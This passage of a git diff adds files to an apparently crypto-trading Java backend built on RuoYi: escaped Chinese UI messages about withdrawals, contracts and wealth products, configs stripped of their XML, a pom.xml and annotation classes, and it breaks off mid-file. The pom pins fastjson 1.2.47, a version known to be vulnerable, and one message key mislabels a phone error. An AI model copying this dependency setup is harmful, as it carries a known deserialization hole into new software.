+user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +user.register.phone.exist=\u624B\u673A\u53F7\u5DF2\u7ECF\u5B58\u5728 +user.register.phone.bind=\u624B\u673A\u53F7\u5DF2\u7ECF\u7ED1\u5B9A +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +withdraw_require_error = \u76EE\u524D\u8FD8\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E01\u79CD\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E01\u79CD\u6C47\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u5151\u6362\u7684\u5E01\u79CD\u4E0D\u80FD\u4E3A\u7A7A,\u5151\u6362\u91D1\u989D\u5FC5\u987B\u5927\u4E8E0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u989D\u4E3A{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u989D\u4E3A{0} +currency.exchange_min = \u6700\u5C0F\u5151\u6362\u91D1\u989D\u4E3A{0} +currency.exchange_max = \u6700\u5927\u5151\u6362\u91D1\u989D\u4E3A{0} +exchange_error=\u5151\u6362\u91D1\u989D\u5927\u4E8E\u8D26\u6237\u4F59\u989D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B14\u5151\u6362\u6B63\u5728\u8FDB\u884C\u4E2D\uFF0C\u7A0D\u540E\u518D\u8BD5 +exchange_symbol_error_exist = \u5151\u6362\u5E01\u79CD\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u94B1\u5305\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order_10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... +#\u7406\u8D22 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u989D\u4E0A\u4E0B\u9650 +user.push.message=\u7528\u6237\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7EA7\u4E0D\u591F\uFF0C\u65E0\u6CD5\u8D2D\u4E70\u6B21\u7406\u8D22\u4EA7\u54C1 +order.single.min=\u8D2D\u4E70\u7684\u91D1\u989D\u5C11\u4E8E\u6700\u4F4E\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.single.max=\u8D2D\u4E70\u7684\u91D1\u989D\u5927\u4E8E\u6700\u5927\u9650\u989D\uFF0C\u65E0\u6CD5\u8D2D\u4E70 +order.buy.insufficient=\u60A8\u5F53\u524D\u6700\u591A\u53EF\u8D2D\u4E70\u91D1\u989D\u4E3A{0} +product.removed=\u4EA7\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6237\u5DF2\u5230\u8FBE\u9650\u5236\u6B21\u6570,\u4E0D\u5141\u8BB8\u8D2D\u4E70 +days.not.null=\u8D2D\u4E70\u5468\u671F\u4E3A\u7A7A +days.not.error=\u8D2D\u4E70\u5468\u671F\u9519\u8BEF + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u4F59\u989D\u4E0D\u8DB3 + +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} + + + +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5\uFF01 +withdraw.kyc.error=\u8BF7\u5148\u5B8C\u6210\u5B9E\u540D\u8BA4\u8BC1\uFF0C\u89E3\u9664\u9650\u989D +currency.coin.setting.nonexistent=\u5F53\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u5F53\u524D{}\u5E01\u79CD\u4F59\u989D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EA4\u6613 + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8BF7\u5148\u8FDB\u884C\u521D\u7EA7\u8BA4\u8BC1 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5217\u5165\u9ED1\u540D\u5355\uFF0C\u65E0\u6CD5\u767B\u5F55\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error=\u6700\u5C0F\u4E0B\u5355\u91CF\u4E3A {0} +currency.order.max.error=\u6700\u5927\u4E0B\u5355\u91CF\u4E3A {0} diff --git a/ruoyi-api/src/main/resources/logback.xml b/ruoyi-api/src/main/resources/logback.xml new file mode 100644 index 0000000..651d594 --- /dev/null +++ b/ruoyi-api/src/main/resources/logback.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + ${log.pattern} + + + + + + ${log.path}/sys-info.log + + + + ${log.path}/sys-info.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + INFO + + ACCEPT + + DENY + + + + + ${log.path}/sys-error.log + + + + ${log.path}/sys-error.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + ERROR + + ACCEPT + + DENY + + + + + + ${log.path}/sys-user.log + + + ${log.path}/sys-user.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml b/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml new file mode 100644 index 0000000..c9d8f91 --- /dev/null +++ b/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/src/main/resources/static/ip2region.db b/ruoyi-api/src/main/resources/static/ip2region.db new file mode 100644 index 0000000..3b6a296 Binary files /dev/null and b/ruoyi-api/src/main/resources/static/ip2region.db differ diff --git a/ruoyi-api/src/main/resources/static/ip2region.md b/ruoyi-api/src/main/resources/static/ip2region.md new file mode 100644 index 0000000..b2dc5db --- /dev/null +++ b/ruoyi-api/src/main/resources/static/ip2region.md @@ -0,0 +1,11 @@ +# ip2region文件生成 +- 1 下载项目https://gitee.com/lionsoul/ip2region +- 2 编辑java文件 + ```java + cd make/java + 生成dbMaker-{version}.java + cd ${ip2region_root}/java/ + java -jar dbMaker-1.2.2.jar -src ./data/ip.merge.txt -region ./data/global_region.csv +``` +- 3 生成ip2region.db文件 +- 4 替换db文件 \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl b/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl new file mode 100644 index 0000000..24eca4f --- /dev/null +++ b/ruoyi-api/src/main/resources/static/templates/bindCodeEmail.ftl @@ -0,0 +1,8 @@ + + +
+
Your verification code is ${code}, it will be valid within ten minutes, if you are not operating it, please ignore it.
+<#--
дтверждения ${code}, он действителен в течение 10 мин. Если вы его не запрашивали, проигнорируйте это сообщение
--> +
+ + \ No newline at end of file diff --git a/ruoyi-common/pom.xml b/ruoyi-common/pom.xml new file mode 100644 index 0000000..29347ac --- /dev/null +++ b/ruoyi-common/pom.xml @@ -0,0 +1,417 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-common + + + common通用工具 + + + + + + + org.springframework + spring-context-support + + + + + org.springframework + spring-web + + + + + org.springframework.boot + spring-boot-starter-security + + + + + com.github.pagehelper + pagehelper-spring-boot-starter + + + + + org.springframework.boot + spring-boot-starter-validation + + + + + org.apache.commons + commons-lang3 + + + + + com.fasterxml.jackson.core + jackson-databind + + + + + com.baomidou + dynamic-datasource-spring-boot-starter + 3.5.2 + + + + + com.alibaba.fastjson2 + fastjson2 + + + + + commons-io + commons-io + + + + + org.apache.poi + poi-ooxml + + + + + org.yaml + snakeyaml + + + + + io.jsonwebtoken + jjwt + + + + + javax.xml.bind + jaxb-api + + + + + + + + + org.springframework.boot + spring-boot-starter-data-redis + + + io.lettuce + lettuce-core + + + + + + redis.clients + jedis + + + + + org.apache.commons + commons-pool2 + + + + + eu.bitwalker + UserAgentUtils + + + + + javax.servlet + javax.servlet-api + + + org.projectlombok + lombok + + + + cn.dev33 + sa-token-spring-boot-starter + 1.30.0 + + + + + cn.dev33 + sa-token-dao-redis-jackson + 1.30.0 + + + + org.telegram + telegrambotsextensions + 4.8.1 + + + + org.java-websocket + Java-WebSocket + 1.4.0 + + + + org.springframework.boot + spring-boot-starter-websocket + + + + cc.block.data + blockcc-api-client + 1.3.2 + + + + com.baomidou + mybatis-plus-boot-starter + 3.4.1 + + + + org.lionsoul + ip2region + 1.7.2 + + + + com.github.whvcse + easy-captcha + 1.6.2 + + + org.hashids + hashids + 1.0.3 + + + + + javax.mail + mail + 1.4.7 + + + + javax.activation + activation + 1.1.1 + + + org.freemarker + freemarker + 2.3.28 + + + com.belerweb + pinyin4j + 2.5.1 + + + com.aliyun.oss + aliyun-sdk-oss + 3.10.2 + + + + org.telegram + telegrambotsextensions + 4.8.1 + + + org.telegram + telegrambots + 6.0.1 + + + com.github.pengrad + java-telegram-bot-api + 6.0.1 + + + + com.github.briandilley.jsonrpc4j + jsonrpc4j + 1.4.6 + + + org.web3j + core + 4.8.7 + + + com.squareup.okhttp3 + okhttp + + + + + com.mashape.unirest + unirest-java + 1.4.9 + + + org.jetbrains.kotlin + kotlin-stdlib + 1.7.20 + + + + cn.hutool + hutool-all + 5.3.5 + + + + org.tron.trident + abi + 0.7.0 + system + ${basedir}/src/lib/abi-0.7.0.jar + + + org.tron.trident + utils + 0.7.0 + system + ${basedir}/src/lib/utils-0.7.0.jar + + + org.tron.trident + core + 0.7.0 + system + ${basedir}/src/lib/core-0.7.0.jar + + + com.google.protobuf + protobuf-java + 4.0.0-rc-2 + + + io.grpc + grpc-protobuf + 1.31.0 + + + io.grpc + grpc-core + 1.31.0 + + + + io.grpc + grpc-netty-shaded + 1.31.0 + + + io.grpc + grpc-netty + 1.31.0 + + + org.apache.tomcat + annotations-api + 6.0.53 + provided + + + io.grpc + grpc-stub + 1.31.0 + + + io.grpc + grpc-api + 1.31.0 + + + org.jetbrains.kotlin + kotlin-stdlib + 1.3.70 + + + com.warrenstrange + googleauth + 1.2.0 + + + junit + junit + 4.13.1 + test + + + ch.qos.logback + logback-classic + 1.2.3 + + + org.powermock + powermock-api-mockito + 1.7.4 + test + + + commons-lang + commons-lang + 2.6 + + + org.powermock + powermock-module-junit4 + 1.7.4 + test + + + junit + junit + + + com.alibaba + fastjson + 1.2.47 + + + com.huobi.linear.swap.api + huobi-linear-swap-api + 1.0.1 + + + io.github.binance + binance-connector-java + 3.0.0rc3 + + + + + com.google.zxing + core + 3.3.3 + + + com.google.zxing + javase + 3.3.3 + + + \ No newline at end of file diff --git a/ruoyi-common/ruoyi-common.iml b/ruoyi-common/ruoyi-common.iml new file mode 100644 index 0000000..e56703c --- /dev/null +++ b/ruoyi-common/ruoyi-common.iml @@ -0,0 +1,288 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java new file mode 100644 index 0000000..1d6d4f4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 匿名访问不鉴权注解 + * + * @author ruoyi + */ +@Target({ ElementType.METHOD, ElementType.TYPE }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface Anonymous +{ +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java new file mode 100644 index 0000000..be49c80 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java @@ -0,0 +1,33 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 数据权限过滤注解 + * + * @author ruoyi + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface DataScope +{ + /** + * 部门表的别名 + */ + public String deptAlias() default ""; + + /** + * 用户表的别名 + */ + public String userAlias() default ""; + + /** + * 权限字符(用于多个角色匹配符合要求的权限)默认根据权限注解@ss获取,多个权限用逗号分隔开来 + */ + public String permission() default ""; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java new file mode 100644 index 0000000..79cd191 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Inherited; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.enums.DataSourceType; + +/** + * 自定义多数据源切换注解 + * + * 优先级:先方法,后类,如果方法覆盖了类上的数据源类型,以方法的为准,否则以类上的为准 + * + * @author ruoyi + */ +@Target({ ElementType.METHOD, ElementType.TYPE }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +@Inherited +public @interface DataSource +{ + /** + * 切换数据源名称 + */ + public DataSourceType value() default DataSourceType.MASTER; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java new file mode 100644 index 0000000..311b1f2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java @@ -0,0 +1,189 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.math.BigDecimal; +import org.apache.poi.ss.usermodel.HorizontalAlignment; +import org.apache.poi.ss.usermodel.IndexedColors; +import com.ruoyi.common.utils.poi.ExcelHandlerAdapter; + +/** + * 自定义导出Excel数据注解 + * + * @author ruoyi + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.FIELD) +public @interface Excel +{ + /** + * 导出时在excel中排序 + */ + public int sort() default Integer.MAX_VALUE; + + /** + * 导出到Excel中的名字. + */ + public String name() default ""; + + /** + * 日期格式, 如: yyyy-MM-dd + */ + public String dateFormat() default ""; + + /** + * 如果是字典类型,请设置字典的type值 (如: sys_user_sex) + */ + public String dictType() default ""; + + public String enumType() default ""; + + /** + * 读取内容转表达式 (如: 0=男,1=女,2=未知) + */ + public String readConverterExp() default ""; + + /** + * 分隔符,读取字符串组内容 + */ + public String separator() default ","; + + /** + * BigDecimal 精度 默认:-1(默认不开启BigDecimal格式化) + */ + public int scale() default -1; + + /** + * BigDecimal 舍入规则 默认:BigDecimal.ROUND_HALF_EVEN + */ + public int roundingMode() default BigDecimal.ROUND_HALF_EVEN; + + /** + * 导出时在excel中每个列的高度 单位为字符 + */ + public double height() default 14; + + /** + * 导出时在excel中每个列的宽 单位为字符 + */ + public double width() default 16; + + /** + * 文字后缀,如% 90 变成90% + */ + public String suffix() default ""; + + /** + * 当值为空时,字段的默认值 + */ + public String defaultValue() default ""; + + /** + * 提示信息 + */ + public String prompt() default ""; + + /** + * 设置只能选择不能输入的列内容. + */ + public String[] combo() default {}; + + /** + * 是否需要纵向合并单元格,应对需求:含有list集合单元格) + */ + public boolean needMerge() default false; + + /** + * 是否导出数据,应对需求:有时我们需要导出一份模板,这是标题需要但内容需要用户手工填写. + */ + public boolean isExport() default true; + + /** + * 另一个类中的属性名称,支持多级获取,以小数点隔开 + */ + public String targetAttr() default ""; + + /** + * 是否自动统计数据,在最后追加一行统计数据总和 + */ + public boolean isStatistics() default false; + + /** + * 导出类型(0数字 1字符串 2图片) + */ + public ColumnType cellType() default ColumnType.STRING; + + /** + * 导出列头背景色 + */ + public IndexedColors headerBackgroundColor() default IndexedColors.GREY_50_PERCENT; + + /** + * 导出列头字体颜色 + */ + public IndexedColors headerColor() default IndexedColors.WHITE; + + /** + * 导出单元格背景色 + */ + public IndexedColors backgroundColor() default IndexedColors.WHITE; + + /** + * 导出单元格字体颜色 + */ + public IndexedColors color() default IndexedColors.BLACK; + + /** + * 导出字段对齐方式 + */ + public HorizontalAlignment align() default HorizontalAlignment.CENTER; + + /** + * 自定义数据处理器 + */ + public Class handler() default ExcelHandlerAdapter.class; + + /** + * 自定义数据处理器参数 + */ + public String[] args() default {}; + + /** + * 字段类型(0:导出导入;1:仅导出;2:仅导入) + */ + Type type() default Type.ALL; + + public enum Type + { + ALL(0), EXPORT(1), IMPORT(2); + private final int value; + + Type(int value) + { + this.value = value; + } + + public int value() + { + return this.value; + } + } + + public enum ColumnType + { + NUMERIC(0), STRING(1), IMAGE(2); + private final int value; + + ColumnType(int value) + { + this.value = value; + } + + public int value() + { + return this.value; + } + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java new file mode 100644 index 0000000..1f1cc81 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Excel注解集 + * + * @author ruoyi + */ +@Target(ElementType.FIELD) +@Retention(RetentionPolicy.RUNTIME) +public @interface Excels +{ + public Excel[] value(); +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java new file mode 100644 index 0000000..1eb8e49 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java @@ -0,0 +1,51 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.enums.OperatorType; + +/** + * 自定义操作日志记录注解 + * + * @author ruoyi + * + */ +@Target({ ElementType.PARAMETER, 